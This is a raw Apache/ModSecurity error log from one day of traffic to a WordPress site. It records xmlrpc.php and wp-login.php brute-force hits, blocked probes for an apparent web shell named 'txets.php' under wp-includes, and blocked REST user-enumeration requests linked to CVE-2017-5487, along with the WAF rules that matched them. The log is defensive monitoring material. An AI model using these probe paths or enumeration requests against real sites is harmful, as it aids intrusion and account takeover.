[Sun May 10 04:54:02.094591 2026] [:error] [pid 62801:tid 62812] [client 39.35.233.180:24005] [client 39.35.233.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.35.233.180, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af-e6hMFDul6kZmcchAmTgAAAAI"]
[Sun May 10 04:54:12.715371 2026] [:error] [pid 62910:tid 62927] [client 39.35.233.180:24367] [client 39.35.233.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.35.233.180, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af-e9N5YAy_h5VqgWqhRbgAAAM8"]
[Sun May 10 04:54:23.287342 2026] [:error] [pid 32915:tid 32944] [client 39.35.233.180:24714] [client 39.35.233.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.35.233.180, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af-e_zg8EIe76RX8AUaDcwAAARg"]
[Sun May 10 04:54:33.832757 2026] [:error] [pid 62803:tid 62881] [client 39.35.233.180:25050] [client 39.35.233.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.35.233.180, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af-fCU5oy4jU7eVtNaXo_AAAAJE"]
[Sun May 10 05:03:29.926156 2026] [:error] [pid 62803:tid 62884] [client 2.58.56.12:58883] [client 2.58.56.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "af-hIU5oy4jU7eVtNaXpmQAAAJQ"]
[Sun May 10 05:03:30.428388 2026] [:error] [pid 62910:tid 62929] [client 2.58.56.12:60196] [client 2.58.56.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "af-hIt5YAy_h5VqgWqhSbwAAANE"]
[Sun May 10 05:03:30.929882 2026] [:error] [pid 62803:tid 62881] [client 2.58.56.12:61743] [client 2.58.56.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "af-hIk5oy4jU7eVtNaXpmgAAAJE"]
[Sun May 10 05:03:33.297957 2026] [:error] [pid 62801:tid 62819] [client 2.58.56.12:54626] [client 2.58.56.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "af-hJRMFDul6kZmcchAmsQAAAAk"]
[Sun May 10 06:50:20.579094 2026] [:error] [pid 62910:tid 62929] [client 104.234.53.164:64501] [client 104.234.53.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.164, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af-6LN5YAy_h5VqgWqhr8QAAANE"]
[Sun May 10 08:36:11.025617 2026] [:error] [pid 46330:tid 46379] [client 43.134.186.61:44266] [client 43.134.186.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "af_S-4ztrhd3evDQvs84kgAAAEc"]
[Sun May 10 09:35:54.865871 2026] [:error] [pid 52634:tid 52662] [client 162.62.231.139:44464] [client 162.62.231.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "af_g-twp8XoWCwFb54CkpQAAANg"]
[Sun May 10 09:38:01.407011 2026] [:error] [pid 46417:tid 46429] [client 175.27.171.245:48152] [client 175.27.171.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "af_heWInm7mhwgbe48Z2WQAAAQo"]
[Sun May 10 10:17:59.363456 2026] [:error] [pid 46417:tid 46438] [client 75.119.155.172:21646] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "af_q12Inm7mhwgbe48Z_HwAAARM"]
[Sun May 10 10:18:03.199391 2026] [:error] [pid 46417:tid 46419] [client 75.119.155.172:21658] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "af_q22Inm7mhwgbe48Z_IAAAAQA"]
[Sun May 10 13:07:27.278481 2026] [:error] [pid 52634:tid 52647] [client 110.93.205.130:58256] [client 110.93.205.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 110.93.205.130, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agASj9wp8XoWCwFb54De-gAAAMk"]
[Sun May 10 13:07:28.319880 2026] [:error] [pid 52634:tid 52642] [client 110.93.205.130:58256] [client 110.93.205.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 110.93.205.130, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agASkNwp8XoWCwFb54De-wAAAMQ"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 14:42:25.927658 2026] [:error] [pid 46417:tid 46438] [client 194.116.184.179:21647] [client 194.116.184.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.116.184.179, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agAo0WInm7mhwgbe48avZwAAARM"]
[Sun May 10 14:42:27.069812 2026] [:error] [pid 46417:tid 46423] [client 194.116.184.179:21647] [client 194.116.184.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.116.184.179, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agAo02Inm7mhwgbe48avaAAAAQQ"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 15:47:50.891023 2026] [:error] [pid 46331:tid 46395] [client 157.90.251.56:53308] [client 157.90.251.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.90.251.56, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agA4JgP02hpYETwsZphEaQAAAJI"]
[Sun May 10 15:47:52.489666 2026] [:error] [pid 46331:tid 46375] [client 157.90.251.56:53308] [client 157.90.251.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.90.251.56, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agA4KAP02hpYETwsZphEagAAAIg"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 15:59:25.735947 2026] [:error] [pid 46329:tid 46355] [client 170.106.165.76:40906] [client 170.106.165.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agA63eFo7Z2I88d0gPKAzQAAABY"]
[Sun May 10 16:24:23.758868 2026] [:error] [pid 14779:tid 14798] [client 194.233.87.198:51980] [client 194.233.87.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.233.87.198, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agBAt1XzPaW9Hap8yc8RZgAAAVE"]
[Sun May 10 16:24:25.865532 2026] [:error] [pid 14779:tid 14789] [client 194.233.87.198:51980] [client 194.233.87.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.233.87.198, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agBAuVXzPaW9Hap8yc8RZwAAAUg"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 16:38:48.950197 2026] [:error] [pid 46331:tid 46370] [client 192.64.81.240:35880] [client 192.64.81.240] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.81.240, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agBEGAP02hpYETwsZphHGQAAAIY"]
[Sun May 10 16:38:50.431623 2026] [:error] [pid 46331:tid 46366] [client 192.64.81.240:35880] [client 192.64.81.240] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.81.240, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agBEGgP02hpYETwsZphHHAAAAIQ"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 10 16:56:02.264617 2026] [:error] [pid 46331:tid 46405] [client 104.244.75.190:59617] [client 104.244.75.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.244.75.190, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agBIIgP02hpYETwsZphI0AAAAJc"]
[Sun May 10 16:56:34.254421 2026] [:error] [pid 46331:tid 46366] [client 104.244.75.190:64246] [client 104.244.75.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.244.75.190, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agBIQgP02hpYETwsZphI3gAAAIQ"]
[Sun May 10 17:31:27.010393 2026] [autoindex:error] [pid 64851:tid 64965] [client 95.111.239.37:55766] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun May 10 17:33:14.776044 2026] [:error] [pid 64851:tid 64981] [client 122.3.150.61:51330] [client 122.3.150.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.3.150.61, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agBQ2vHWeH4ShUPowIURegAAANI"]
[Sun May 10 17:36:37.164423 2026] [:error] [pid 64851:tid 64976] [client 122.3.150.61:54102] [client 122.3.150.61] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agBRpfHWeH4ShUPowIUSKgAAAM0"]
[Sun May 10 17:37:09.473373 2026] [:error] [pid 64851:tid 64984] [client 122.3.150.61:54514] [client 122.3.150.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.3.150.61, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agBRxfHWeH4ShUPowIUSNgAAANU"]
[Sun May 10 18:34:45.005996 2026] [:error] [pid 16136:tid 16162] [client 45.61.184.174:60244] [client 45.61.184.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.184.174, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agBfRUOBGdmCMnPX0Mfh3wAAAJg"]
[Sun May 10 18:35:21.749746 2026] [:error] [pid 16037:tid 16061] [client 45.61.184.174:64131] [client 45.61.184.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.184.174, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agBfaXzjLQfyYTkAdSRxsAAAABQ"]
[Sun May 10 19:52:17.902573 2026] [:error] [pid 16037:tid 16053] [client 34.24.51.156:51692] [client 34.24.51.156] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "agBxcXzjLQfyYTkAdSR5ywAAAAw"]
[Sun May 10 19:52:19.161253 2026] [:error] [pid 16037:tid 16055] [client 34.24.51.156:51692] [client 34.24.51.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.24.51.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agBxc3zjLQfyYTkAdSR5zQAAAA4"]
[Sun May 10 19:52:20.428313 2026] [:error] [pid 37030:tid 37045] [client 34.24.51.156:57174] [client 34.24.51.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.24.51.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agBxdJrBzfXWwKkDkdaRPgAAAM0"]
[Sun May 10 19:52:21.685128 2026] [:error] [pid 37030:tid 37043] [client 34.24.51.156:59490] [client 34.24.51.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.24.51.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agBxdZrBzfXWwKkDkdaRQAAAAMs"]
[Sun May 10 19:52:22.836373 2026] [:error] [pid 16136:tid 16154] [client 34.24.51.156:61121] [client 34.24.51.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.24.51.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agBxdkOBGdmCMnPX0MfyYAAAAJA"]
[Sun May 10 19:52:22.836507 2026] [:error] [pid 16136:tid 16154] [client 34.24.51.156:61121] [client 34.24.51.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.24.51.156, counter = 7"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agBxdkOBGdmCMnPX0MfyYAAAAJA"]
[Sun May 10 20:53:15.617994 2026] [:error] [pid 16037:tid 16041] [client 177.141.9.161:51743] [client 177.141.9.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.141.9.161, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agB_u3zjLQfyYTkAdSR_YgAAAAA"]
[Sun May 10 20:53:25.780777 2026] [:error] [pid 16096:tid 16115] [client 177.141.9.161:52199] [client 177.141.9.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.141.9.161, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agB_xa8wyxcrT50p9kvY2AAAAE4"]
[Sun May 10 20:53:36.308066 2026] [:error] [pid 37030:tid 37056] [client 177.141.9.161:52561] [client 177.141.9.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.141.9.161, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agB_0JrBzfXWwKkDkdakPQAAANg"]
[Sun May 10 20:53:46.866424 2026] [:error] [pid 37030:tid 37038] [client 177.141.9.161:52927] [client 177.141.9.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.141.9.161, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agB_2prBzfXWwKkDkdakRAAAAMY"]
[Sun May 10 20:53:57.391594 2026] [:error] [pid 16136:tid 16149] [client 177.141.9.161:53292] [client 177.141.9.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.141.9.161, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agB_5UOBGdmCMnPX0Mf-cQAAAIs"]
[Sun May 10 21:19:18.769147 2026] [:error] [pid 16136:tid 16158] [client 49.51.203.164:39854] [client 49.51.203.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agCF1kOBGdmCMnPX0McCTgAAAJQ"]
[Sun May 10 21:51:38.687692 2026] [:error] [pid 37030:tid 37046] [client 34.11.34.185:53816] [client 34.11.34.185] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "agCNaprBzfXWwKkDkdaxOwAAAM4"]
[Sun May 10 21:51:39.780116 2026] [:error] [pid 37030:tid 37032] [client 34.11.34.185:53816] [client 34.11.34.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.34.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agCNa5rBzfXWwKkDkdaxQwAAAMA"]
[Sun May 10 21:51:40.927530 2026] [:error] [pid 16038:tid 16088] [client 34.11.34.185:62329] [client 34.11.34.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.34.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agCNbE4hf5Tcsfa2scJfcgAAAZQ"]
[Sun May 10 21:51:42.279313 2026] [:error] [pid 37030:tid 37054] [client 34.11.34.185:56249] [client 34.11.34.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.34.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agCNbprBzfXWwKkDkdaxSAAAANY"]
[Sun May 10 21:51:43.379571 2026] [:error] [pid 37030:tid 37046] [client 34.11.34.185:62769] [client 34.11.34.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.34.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agCNb5rBzfXWwKkDkdaxSgAAAM4"]
[Sun May 10 21:51:44.861733 2026] [:error] [pid 16136:tid 16154] [client 34.11.34.185:63192] [client 34.11.34.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.34.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agCNcEOBGdmCMnPX0McHbwAAAJA"]
[Sun May 10 21:51:44.861978 2026] [:error] [pid 16136:tid 16154] [client 34.11.34.185:63192] [client 34.11.34.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.11.34.185, counter = 8"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agCNcEOBGdmCMnPX0McHbwAAAJA"]
[Sun May 10 22:00:42.932794 2026] [:error] [pid 16038:tid 16092] [client 43.166.128.86:44358] [client 43.166.128.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agCPik4hf5Tcsfa2scJgKQAAAZg"]
